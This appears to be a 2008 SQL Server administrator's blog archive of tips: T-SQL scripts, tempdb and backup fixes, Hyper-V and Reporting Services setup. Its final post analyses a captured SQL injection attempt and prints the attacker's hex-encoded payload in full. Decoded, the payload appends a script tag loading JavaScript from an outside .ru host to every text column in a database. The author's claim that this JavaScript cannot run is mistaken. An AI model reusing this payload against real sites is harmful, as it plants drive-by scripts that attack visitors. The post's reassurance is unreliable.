    http://furrukhbaig.wordpress.com/2008/07/24/rowcount-for-large-tables/

    Nov 2009 Update. Plenty of alternate versions on the web now, linking different system tables >
    http://www.bimonkey.com/tag/row-count/
    http://www.sqldev.org/transactsql/perform-a-row-count-without-causing-a-scan-60203.shtml

    Saturday, 13 September 2008

    SQL Statman ??? (Ski-Ba-Bop-Ba-Dop-Bop)

    Statman sounds a bit too much like Scatman for my liking and reminds me of a cheesey 90s dance song.

    On a serious note, just what are all these Statman() entries in my sql trace?

    for example >

    SELECT StatMan([SC0]) FROM (SELECT TOP 100 PERCENT [dbname] AS [SC0] FROM [dbo].[#tmp_sp_db_vardecimal_storage_format ....

    The short answer is that they are nothing to worry about.
    They show an automatic statistics update occuring i.e. are the effect of having AUTO_UPDATE_STATISTICS set to ON.

    Thursday, 11 September 2008

    TempDb Optimization for Multiple Processors

    "The current recommendation from Microsoft is that you have a file per logical CPU for tempdb so as to balance load not only for object creation but for extent allocation and performance."

    Ref : SQL Server write behaviour with multiple files in a file group

    So, split TempDB by the number of processors.
    Using current size of TempDB as a guide (2GB) and 2 Processors, split to 2x 1GB files.

    My previous blog entry on how to do > Moving / Adding files to TempDB

    Wednesday, 10 September 2008

    SQL Messages Window : Get Messages straight away!

    If you use PRINT to pass status messages back when running a TSQL script, you typically dont get to see them until the script completes (or errors) and then, they appear all at once (not great for debugging...)
    DECLARE @StatusMessage varchar (100)
    SET @StatusMessage = 'Insert Finished, Update Starting : ' + CONVERT (CHAR (20), GETDATE (), 8)
    RAISERROR (@StatusMessage , 10, 1) WITH NOWAIT 
    


    http://sqlblogcasts.com/blogs/leopasta/archive/2007/07/03/instant-gratification.aspx

    Wednesday, 3 September 2008

    Hyper-V : SQL Support

    SQL Server 2005 is not fully supported on a virtual machine in a Windows Server 2008 Hyper-V environment. Microsoft is considering whether to provide support for SQL Server 2005 on Hyper-V virtual machines in future updates of SQL Server 2005 >

    http://support.microsoft.com/kb/956893

    ( SQL Server 2008 is supported )

    Decision time it is then, as currently building Hyper-V images...

    Tuesday, 2 September 2008

    Remote Desktops Tool for Vista

    I'm a big fan of 'Remote Desktops', the MMC snap-in that combines a pane listing servers with RDP functionality.
    For XP, this was provided by 'AdminPak'.

    For Vista this is now known as RSAT. (Remote Server Administration Tools).

    AdminPak for XP >
    http://www.microsoft.com/downloads/details.aspx?familyid=c16ae515-c8f4-47ef-a1e4-a8dcbacff8e3&displaylang=en

    RSAT for Vista >
    http://www.microsoft.com/downloads/details.aspx?FamilyId=9FF6E897-23CE-4A36-B7FC-D52065DE9960&displaylang=en

    New Browser : Google Chrome

    Google Chrome is launched in Beta today.

    Having played with it briefly, it is FAST and does initialy look worth the effort.

    http://www.google.com/chrome/


    oh, and this ZDNet report agrees with me about it's speed.

    Random Password Generator

    For when you cannot install Chaos Generator (local pc locked down!), there are multiple online password generators now >

    http://www.pctools.com/guides/password/


    This Leet translator is also good for passwords >

    http://www.albinoblacksheep.com/text/leet


    r

    Sunday, 31 August 2008

    Thursday, 28 August 2008

    Get Date from UTC (Coordinated Universal Time) String

    Get Date from UTC (Coordinated Universal Time) String

    DECLARE @INPUTDATE VARCHAR(12),
    @OUTPUTDATE VARCHAR(12)

    SET @INPUTDATE = '2006-7-29T13:55:6+0:0'

    -- NEGATE TIME >
    SELECT CHARINDEX('T',@INPUTDATE)
    SELECT @INPUTDATE = LEFT(@INPUTDATE,CHARINDEX('T',@INPUTDATE)-1)
    SELECT @INPUTDATE

    -- SEPARATE OUT YEAR, MONTH, DAY, PAD SINGLE DIGIT VALUES WITH ZEROES AND ADD BACK INTO SINGLE STRING WHICH CAN BE CONVERTED TO DATETIME
    SELECT @OUTPUTDATE = LEFT(@INPUTDATE,4) + RIGHT('0' + REPLACE(SUBSTRING(@INPUTDATE,6,2),'-',''),2)+ RIGHT(REPLACE('0' + SUBSTRING(@INPUTDATE,8,3),'-',''),2)
    SELECT @OUTPUTDATE

    -- CONVERT TO DATETIME
    SELECT CONVERT(DATETIME,@OUTPUTDATE,112)

    Wednesday, 27 August 2008

    CHECKSUM on Temporary tables (Temp db)

    I was attempting to compare rows using CHECKSUM on sql 2005 when I came across this issue >
    Storing my data in a #table (temporary table), I tried to use CHECKSUM to compare with the target table.
    Despite the data being identical, different CHECKSUM values pervailed.

    The good news is that a little googling proved it is sorted in sql 2008....


    http://blogs.msdn.com/sqlserverstorageengine/archive/2008/03/23/checksum-and-tempdb.aspx

    Sunday, 24 August 2008

    CTE Examples (Adventureworks 2008)

    Simple CTE Example using AdventureWorks2008

    WITH StaffBasicsCTE (FirstName, LastName, JobTitle, MaritalStatus , Gender , Age) 
    AS (
     SELECT   FirstName, LastName,JobTitle, MaritalStatus , Gender ,DATEDIFF(YEAR,[BirthDate],GETDATE()) AS Age
     FROM [AdventureWorks2008].[Person].[Person] p
     INNER JOIN [AdventureWorks2008].[HumanResources].[Employee] e
     ON p.BusinessEntityID = e.BusinessEntityID)
      
    SELECT * FROM StaffBasicsCTE
    WHERE Gender = 'F'
    AND MaritalStatus = 'S'
    AND Age < 35
    
    Recursive CTE Example using AdventureWorks2008 (Adapted from stored procedure dbo.uspGetEmployeeManagers)
    WITH [EmployeeManagersCTE] ([BusinessEntityID], [OrganizationNode], [FirstName], [LastName], [RecursionLevel]) 
        AS (
            SELECT e.[BusinessEntityID], e.[OrganizationNode], p.[FirstName], p.[LastName], 0 
            FROM [HumanResources].[Employee] e 
            INNER JOIN [Person].[Person] p 
            ON p.[BusinessEntityID] = e.[BusinessEntityID]
    
            UNION ALL
    
            SELECT e.[BusinessEntityID], e.[OrganizationNode], p.[FirstName], p.[LastName], [RecursionLevel] + 1 -- Join recursive member to anchor
            FROM [HumanResources].[Employee] e 
            INNER JOIN [EmployeeManagersCTE]
            ON e.[OrganizationNode].GetAncestor(1) = [EmployeeManagersCTE].[OrganizationNode]
            INNER JOIN [Person].[Person] p 
            ON p.[BusinessEntityID] = e.[BusinessEntityID]
            )
    
        SELECT 
              m.[BusinessEntityID]
            , m.[FirstName]
            , m.[LastName] -- Outer select from the CTE
            , m.[RecursionLevel]
            , m.[OrganizationNode].ToString() as [OrganizationNode]
            , p.[FirstName] AS 'ManagerFirstName'
            , p.[LastName] AS 'ManagerLastName' 
        FROM [EmployeeManagersCTE] m 
            INNER JOIN [HumanResources].[Employee] e 
            ON m.[OrganizationNode].GetAncestor(1) = e.[OrganizationNode]
                INNER JOIN [Person].[Person] p 
                ON p.[BusinessEntityID] = e.[BusinessEntityID]
        ORDER BY [RecursionLevel], m.[OrganizationNode].ToString()
        OPTION (MAXRECURSION 25) 
    

    Friday, 22 August 2008

    Backup / Restore Corruption

    " Server: Msg 3013, Level 16, State 1, Line 1 The backup data at the end of 'devicename' is incorrectly formatted. Backup sets on the media might be damaged and unusable. To determine the backup sets on the media, use RESTORE HEADERONLY. To determine the usability of the backup sets, run RESTORE VERIFYONLY. If all of the backup sets are incomplete, reformat the media using BACKUP WITH FORMAT, which destroys all the backup sets. Server: Msg 3013, Level 16, State 1, Line 1 BACKUP DATABASE is terminating abnormally. "

    The backup file being restored/written is damaged due to an error (write error during the backup or physical media error).
    * This can occur when restoring from a network source too, hence maybe worth attempting to copy locally first.

    If you're trying to backup to an existing file and don't care about the existing data (as you are overwriting it anyway) , replace it like this >

    BACKUP DATABASE db1 TO DISK='C:\db1.bak' with FORMAT

    If you're attempting a restore (gulp), it's a 2 step process.
    1) Get the file number of the backup set within the backup file >

    RESTORE HEADERONLY FROM DISK='C:\db1.bak'

    2) Having identified a backup set (in this case number 3), try and restore it from the backup set manually >

    RESTORE DATABASE db1 FROM DISK='C:\db1.bak WITH FILE = 3

    Thursday, 21 August 2008

    Automatic USB Stick Backup

    A little something i've been meaning to do for a while, automatically backing up my USB stick when i plug it in.

    The obvious solution is to create an autorun.inf file on the stick to run a backup script from the device. Autorun is not always available however and I want control over where my data (for the record, encrypted by Truecrypt) is copied.

    I have found 'USB Detect and Launch' by Matt Collinge which once installed allows you to run scripts when devices are plugged in, allowing different actions depending on the volume label.
    The software is free for personal use or $40 for business use.

    1 ) Download & Install tool from >

    http://mattcollinge.wordpress.com/software/usb-detect-and-launch/

    2 ) I created a directory for my backups >

    D:\!USB_BACKUP\R5D4

    3 ) I created D:\!\backup-r5d4.cmd (a 1 line backup command) as >

    XCOPY %1\*.* D:\!USB_BACKUP\R5D4 /e /i /h /y /d

    Usb Detect & Launch Configuration >

    4 ) In 'Main Settings' I created one entry.
    This runs my backup command whenever it sees a usb stick with a label of R5D4 >

    label:R5D4 exec:d:\!\backup-r5d4.cmd %1

    5) In 'Main Settings' I changed the poll interval to 60 seconds.


    Results :
    Bingo! Plugged in my USB drive and up popped the command window which proceeded to copy my files.

    Wednesday, 20 August 2008

    Hyper-V : VHD size optimization

    I previously blogged about compressing Hyper-V VHD images as they can 'bloat' and eat disk space. Unhappy with the results, I set about trying to squeeze one of my images more...

    The following was performed with a VHD of Vista Ultimate with VS2008 & Office 2007 installed.


    actionbytes
    original image40,212,793
    set system restore to 1gb max, compressed vhd14,006,618
    ran windows defragmenter, compressed vhd15,456,481
    ran flexomiser defragmenter, compressed vhd13,903,606


    Well worth reviewing VHD file sizes periodically I think...
    r

    Tuesday, 19 August 2008

    SQL 2005 CU9 Released

    http://support.microsoft.com/kb/953752/

    Hyper-V : Error after removing VM




    On browsing the Hyper-V Server Manager, I noticed some errors that I had not spotted before >


    The Virtual Machines configuration (guid) at 'C:\hyper-V-Path\' is no longer accessible.

    For some reason, my attempts at tidying up and moving the vm image files to a new location had not been 100% successful, leaving HyperV to periodically look for the image in the old location (despite the VM working fine from it's new location).

    To rectify the situation, this technet post came in rather useful.

    Basically >

    1 ) Navigate to C:\ProgramData\Microsoft\Windows\Hyper-V\Virtual Machines (if you don't see anything, unhide files and folders via tools > folder options > view > 'show hidden files & folders')

    2) Locate the link file that matches the GUID number in your original message.

    3) In Hyper-V, click 'Stop Service' (turns off VMMS)

    4) Delete the file

    5) In Hyper-V, click 'Start Service' to restart the VMMS.

    Errors should no longer appear every 2 minutes now.

    Note : VMMS is the 'Virtual Machine Management service' and just controls your ability to manage VMs, they continue running even when VMMS has been shut down.

    SQL 2008 : Installation on Windows 2008 (VM)

    Screen walkthrough of SQL 2008 installation process >


















    SQL 2008 : Installer

    At first glance, the installer (Enterprise edition pictured) looks a lot more friendly.
    More administration functions are available (and are explained) >













    Saturday, 16 August 2008

    Useful tool : FreeUndelete

    FreeUndelete : A file recovery app that is FREE (and works well).

    http://www.officerecovery.com/freeundelete/

    (It rescued me today when my clumsy fingers deleted a folder on my usb stick)

    Wednesday, 13 August 2008

    Management Studio Speedup : Shared Memory

    If your client and server are the same server (screams silently), for instance in a local development environment then Shared Memory can help.

    As of SQL 2005 it is enabled by default, but incase it isn't or you need to check -

    1) Set Shared Memory as Enabled for the sql server -


    2) Set Shared Memory as Enabled in the client protocols -


    Ref : Default SQL Server Network Configuration

    Table Design Optimization : Column Sizes Script

    I was called on to help with a data problem today.
    The developer concerned had misjudged data sizes and hence defined a table that she couldnt import into.
    My approach was to define a table with generous text column sizes with a view to reducing them later.

    This script shows defined column sizes along with the size of the largest data for that column.
    Change the @SCHEMA and @TABLE variables at the top of the script to point it at the table of your choice >
    SET NOCOUNT ON 
    SET NOCOUNT ON 
    SET ANSI_WARNINGS ON
    DECLARE @SCHEMA  VARCHAR(50)
    DECLARE @TABLE  VARCHAR(50)
    
    SET @SCHEMA = 'DBO'
    SET @TABLE  = 'spt_values'
    
    DECLARE  @CURRENTROW INT
    DECLARE  @TOTALROWS INT
    DECLARE  @COLUMNMAXSIZE INT
    DECLARE  @SQLSTRING NVARCHAR(MAX)
    DECLARE  @PARAMETER NVARCHAR(500);
    DECLARE  @TABLEDETAILS 
      TABLE(UNIQUEROWID     INT   IDENTITY ( 1,1 ),
         TABLE_SCHEMA    VARCHAR(255),
         TABLE_NAME      VARCHAR(255),
         COLUMN_NAME     VARCHAR(255),
         COLUMN_TYPE     VARCHAR(255),
         MAX_LENGTH      INT,
         MAX_DATA_LENGTH INT)
           
    INSERT INTO @TABLEDETAILS
              (TABLE_SCHEMA,
               TABLE_NAME,
               COLUMN_NAME,
               COLUMN_TYPE,
               MAX_LENGTH)
    
    SELECT SCHEMA_NAME(O.SCHEMA_ID)  AS TABLE_SCHEMA,
          OBJECT_NAME(O.OBJECT_ID)  AS TABLE_NAME,
          C.NAME                    AS COLUMN_NAME,
          T.NAME                    AS COLUMN_TYPE,
          C.MAX_LENGTH
    FROM   SYS.TABLES O
    INNER JOIN SYS.COLUMNS C
           ON C.OBJECT_ID = O.OBJECT_ID
    INNER JOIN SYS.TYPES T
           ON C.SYSTEM_TYPE_ID = T.SYSTEM_TYPE_ID
          AND T.NAME IN ('CHAR','VARCHAR','NCHAR','NVARCHAR')
    WHERE SCHEMA_NAME(O.SCHEMA_ID)  <> 'sys'
    AND OBJECT_NAME(O.OBJECT_ID) = @TABLE
    AND SCHEMA_NAME(O.SCHEMA_ID) = @SCHEMA
                                    
    SELECT @TOTALROWS = COUNT(*) FROM   @TABLEDETAILS
    SELECT @CURRENTROW = 1
    WHILE @CURRENTROW <= @TOTALROWS   
    BEGIN     
    SET @COLUMNMAXSIZE = 0      
    SELECT @SQLSTRING = 'SELECT @COLUMNSIZEMAX = MAX(LEN([' + COLUMN_NAME + '])) FROM [' + TABLE_SCHEMA + '].[' + TABLE_NAME + ']'     FROM   @TABLEDETAILS     WHERE  UNIQUEROWID = @CURRENTROW                               
    SET @PARAMETER = N'@COLUMNSIZEMAX INT OUTPUT';          
    EXECUTE SP_EXECUTESQL       @SQLSTRING 
         ,       @PARAMETER 
         ,       @COLUMNSIZEMAX = @COLUMNMAXSIZE OUTPUT      
    UPDATE @TABLEDETAILS     
    SET    MAX_DATA_LENGTH = @COLUMNMAXSIZE     
    WHERE  UNIQUEROWID = @CURRENTROW                               
    
    -- DISPLAY PROGRESS (May exceed max results sets if uncommented)     
    -- SELECT * FROM @TABLEDETAILS WHERE  UNIQUEROWID = @CURRENTROW       
    SET @CURRENTROW = @CURRENTROW + 1   
    END      
    
    SELECT   TABLE_SCHEMA
      ,TABLE_NAME
      ,COLUMN_NAME
      ,COLUMN_TYPE
      ,CASE MAX_LENGTH WHEN -1 THEN 'MAX' ELSE CONVERT(CHAR(10),MAX_LENGTH) END AS COLUMN_MAX_LENGTH
      ,MAX_DATA_LENGTH 
    FROM @TABLEDETAILS 
    

    Sunday, 10 August 2008

    Friday, 8 August 2008

    Management Studio Speedup : Disable Error & Usage Reporting

    I usually disable this when I perform an installation, but ocassionally I take over a server where it is still active.

    Navigate to - Start > All Programs > Micrsoft SQL Server 200x >  SQL Server Error and Usage Reporting

    Untick the settings as follows  >

    Thursday, 7 August 2008

    Management Studio Speedup : Remove Splash Screen

    Remove that pesky splash screen!

    Simple this, change the shortcut that launches Management Studio to include the /NOSPLASH switch as shown below.

    Tuesday, 5 August 2008

    Reporting Services : Installing 32bit version on a 64bit server

    SQL 2005's 'System Configuration Check' reported a version clash on my Windows 2008 box when trying to install Reporting Services.
    " 64-bit ASP .Net is Registered. Required 32-bit ASP .Net to install Microsoft Reporting Service 2005 (32.bit). "
    Sounds a bit backwards to me!
    I needed to revert to 32-bit .NET on 64-bit IIS 7.0 (which is basically done by changing which DLL IIS is using)
    Here's what to do...

    1) from a command prompt >

    C:\>cd C:\inetpub\AdminScripts

    C:\inetpub\AdminScripts>cscript adsutil.vbs set w3svc/AppPools/Enable32bitAppOnWin64 1
    Microsoft (R) Windows Script Host Version 5.7 Copyright (C) Microsoft Corporation. All rights reserved. Enable32bitAppOnWin64 : (BOOLEAN) True


    2) Install Reporting Services (and SP2, and hotfixes... yawn...)

    3) Configure Reporting Services (subject of another post, i'm sure...)


    see also http://technet.microsoft.com/en-us/library/ms143293.aspx

    Reporting Services : Installing IIS on Windows 2008

    Installing Internet Information Services (IIS) on Windows 2008

    This is a pre-requisite for Reporting Services >

    1) Launch 'Server Manager'
    2) Expand 'Roles'
    3) Click 'Add Role' (over there on the right...)
    4) Add ' Web Server(IIS) ' Role

    When install is done >

    5) Expand 'Roles'
    6) Select 'Web Server (IIS) (right hand pane will change)
    7) Scroll down to 'Role Services' in the pane on the right.
    8) Click 'Add Role Services' and add the following roles >

    > Web management tools
    > IIS 6 Management Compatibility
    > IIS 6 WMI Compatibility
    > IIS Metabase and IIS 6 configuration compatibility

    > World Wide Web Services
    > Application Development Features
    > ASP.NET
    > ISAPI Extensions
    > ISAPI Filters

    > Common Http Features
    > Default Document
    > Directory Browsing
    > HTTP Redirection
    > Static Content

    > Security
    > Windows Authentication

    Monday, 4 August 2008

    Windows Uptime

    Go to a command (dos) prompt -
    Type 'net statistics server'

    Look for the statistics since line - 

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\Documents and Settings\user>net statistics server
    Server Statistics for \\MYPC-123


    Statistics since 7/30/2008 10:44 AM


    Sessions accepted                  1
    Sessions timed-out                 0
    Sessions errored-out               0

    Kilobytes sent                     0
    Kilobytes received                 0

    Mean response time (msec)          0

    System errors                      0
    Permission violations              0
    Password violations                0

    Files accessed                     0
    Communication devices accessed     0
    Print jobs spooled                 0

    Times buffers exhausted

      Big buffers                      0
      Request buffers                  0

    The command completed successfully.


    C:\Documents and Settings\user>


    Link : How to find windows uptime?

    Saturday, 2 August 2008

    10 Ultimate Rules for Effective System Administration

    1. Keep it simple.

    2. Backup regularly

    3. Test your backup regularly

    4. Proactive Monitoring

    5. Document Everything

    6. Plan and Execute it well.

    7. Use Command Line more than GUI

    8. Automate repetitive tasks

    9. Support your users and developers

    10. Keep learning and have fun.


    The excellent, full post on the subject is here >

    http://www.cyberciti.biz/tips/10-ultimate-rules-for-effective-system-administration.html

    Thursday, 31 July 2008

    SQL : Data Search Script - Version 3

    version 3 :

    1) copes with schemas other than dbo!
    2) restrict to tables only (was doing views!)
    3) nolock table hint added
    4) uniqueidentifier added to data types searched

    /*
    version 3 :    1) copes with schemas other than dbo!
            2) restrict to tables only (was doing views!)
            3) nolock table hint added
            4) uniqueidentifier added to data types searched
    
    */
    declare @columncount int
    declare @searchdata varchar(255)
    -- set string to search for here
    set @searchdata = 'searchstring'
    
    select @columncount = count(*) from information_schema.columns
     where data_type in ('ntext','smallint','int','char', 'varchar', 'nvchar', 'nvarchar','uniqueidentifier')
     and table_name not like 'sync%'
     and column_name <> 'order'
     and table_name in (select name from sys.sysobjects where type = 'u')
    select 'declare @resultslist varchar(max)' + char(10) + 'set @resultslist = '''''
    union
    select 'if exists (select 1 from [' +
     table_schema + '].[' + table_name +
     '] with (nolock) where [' +
     column_name  + '] like ''%' + @searchdata + '%'' ) ' + char(10) +
     ' begin ' + char(10) +
     '  set @resultslist = @resultslist + char(10) + ''select [' + column_name + '],* from ['+ table_schema + '].[' + table_name + '] with (nolock) where [' + column_name + '] like ''''%' + @searchdata + '%'''''''+ char(10) +
     '  print ''' + table_schema + '.' + table_name  + '/' +column_name  + '''' + char(10) +
     ' end ' + char(10) +
     '' + char(10) +
     ' print ''' + cast(cast(cast(rank() OVER (ORDER BY table_schema, table_name, column_name) as float)/ @columncount *100 as decimal(10,2)) as varchar(10))+ '%' +
     '''' + char(10)
    from  information_schema.columns with (nolock)
    where data_type in ('ntext','smallint','int','char', 'varchar', 'nvchar', 'nvarchar','uniqueidentifier')
    and table_name not like 'sync%'
    and column_name <> 'order'
    and table_name in (select name from sys.sysobjects with (nolock) where type = 'u')
    union
    select 'print @resultslist' + char(10) + 'go'

    Sunday, 27 July 2008

    "Log on as a Service" Right (adding locally)

    1) Launch the 'local Security Policy' console

    Start Menu > Administrative Tools > Local Security Policy.


    2) Expand the tree as follows >

    Security Settings > Local Policies > User Rights Assignment

    Double click 'Log on as a service' & add service accounts to give them permission.

    Thursday, 24 July 2008

    SQL 2008 : Information

    A small rant, but informative all the same...

    http://www.brentozar.com/archive/2008/07/sql-server-2008-sucks/

    Highlights (or should that be lowlights) are >
    Lack of backwards compatibility for IntelliSense (only works when connecting to 2008 instances)
    Several new features appearing in Enterprise Edition upwards (not Standard Edition)

    No GUI for new encryption functionality, STILL no GUI for partitioning functionality.

    Tuesday, 22 July 2008

    A SQL Injection attempt

    I have email alerts configured on my websites for 404s and Injection attempts.
    Ocasionally I review the folder of these mails and it struck me there had been quite a lot of injection attempts recently.

    This attempt from a russian IP address in the early hours of the morning (captured by my detection script) -

    PATH_INFO /injectionattempt.asp
    PATH_TRANSLATED e:\domains\d\domain.co.uk\user\htdocs\injectionattempt.asp
    QUERY_STRING page=index;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C4043205
    64152434841522832353529204445434C415245205461626C655F437572736F72204355
    52534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207
    379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E6964
    3D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3
    939204F5220622E78747970653D3335204F5220622E78747970653D323331204F522062
    2E78747970653D31363729204F50454E205461626C655F437572736F722046455443482
    04E4558542046524F4D205461626C655F437572736F7220494E544F2040542C40432057
    48494C4528404046455443485F5354415455533D302920424547494E204558454328275
    55044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D2843
    4F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C7
    36372697074207372633D687474703A2F2F7777772E356B63332E72752F6E67672E6A73
    3E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C6
    55F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F
    437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20
    AS%20VARCHAR(4000));EXEC(@S);--


    Clearly an injection attack, but what does it attempt to do?
    To discover this, we need to decode the Hex string hidden inside the CAST statement.
    The following TSQL does this -

    DECLARE  @Hex_String VARCHAR(MAX)
    DECLARE  @DSql NVARCHAR(MAX)
    DECLARE  @ASCII_Message VARCHAR(MAX)                        
    
    SELECT @Hex_String = '0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E356B63332E72752F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220'
    SELECT @DSql = 'SELECT @ASCII_Message = CONVERT(VARCHAR(MAX), ' + @Hex_String + ')'
    EXEC SP_EXECUTESQL  @DSql ,  N'@ASCII_Message NVARCHAR(MAX) OUTPUT' ,  @ASCII_Message OUTPUT  
    SELECT @ASCII_Message

    This provides the following TSQL -
    DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

    which formatted correctly, looks like this -

    DECLARE  @T VARCHAR(255),         
         @C VARCHAR(255)
    
    DECLARE TABLE_CURSOR CURSOR  FOR 
    SELECT A.NAME,       
        B.NAME
    FROM   SYSOBJECTS A,       
        SYSCOLUMNS B
    WHERE  A.ID = B.ID       
       AND A.XTYPE = 'u'       
       AND (B.XTYPE = 99             
       OR B.XTYPE = 35             
       OR B.XTYPE = 231             
       OR B.XTYPE = 167)
    
    OPEN TABLE_CURSOR
    FETCH NEXT FROM TABLE_CURSOR INTO @T, @C
    WHILE (@@FETCH_STATUS = 0)  
     BEGIN    
     EXEC( 'UPDATE [' + @T + '] SET [' + @C + ']=RTRIM(CONVERT(VARCHAR(4000),[' + @C + ']))+''''')        
     FETCH NEXT FROM TABLE_CURSOR INTO @T, @C  
     END
    CLOSE TABLE_CURSOR
    DEALLOCATE TABLE_CURSOR

    Rather bizarrely the code uses a cursor to loop every column in every table, setting it to itself.
    Well, itself trimmed to 4000 characters.
    I imagine it would depend on an individual db as to how much damage it would do, but i'm glad it didnt run all the same. It attempts to reference a script at www.5kc3.ru (i have removed this and the surrounding script tags from this post) but i dont see how it would execute javascript from within sql!